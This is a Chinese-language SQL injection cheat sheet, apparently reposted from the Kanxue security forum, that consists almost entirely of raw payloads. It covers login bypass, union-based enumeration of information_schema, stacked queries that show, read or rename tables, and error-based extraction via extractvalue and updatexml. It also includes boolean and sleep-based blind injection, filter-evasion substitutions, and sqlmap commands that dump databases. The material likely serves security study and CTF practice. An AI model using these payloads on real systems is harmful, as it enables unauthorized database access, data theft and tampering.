本文为看雪论坛优秀文章
看雪论坛作者ID:ArT1_
select * from users where username='$username' and password='$password';
'or 1=1#
username=admin\&password=or 1;# //通过斜杠转义单引号
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,database(),3%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1' union select (字段名),2 from 表名 %23
1';show databases;%23
1';show tables;%23
1';show columns from (数据表名);%23
1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23
1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=1' and length(database())<5 %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
1' and 表达式 and sleep(5)%23
if(ascii(substr(database(),1),1))=97,sleep(5),1)
/**/ /*!*/ /*1*/ ()
substr substring mid left right
in regexp like
and &&
or ||
offset
greatest
# %23 %00 --
1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext;
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
(1,0x21,0x21)<(table users limit 1)
union select 1,2,name from sqlite_master where type='table' and name='(数据表)'
python3 sqlmap.py -u http://ip:port
python3 sqlmap.py -r request.txt -p (注入点)
python3 sqlmap.py -u http://ip:port --dbs
python3 sqlmap.py -u http://ip:port -D 数据库 --tables
python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 --columns
python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 -C 字段名 --dump
看雪ID:ArT1_
https://bbs.pediy.com/user-home-955273.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!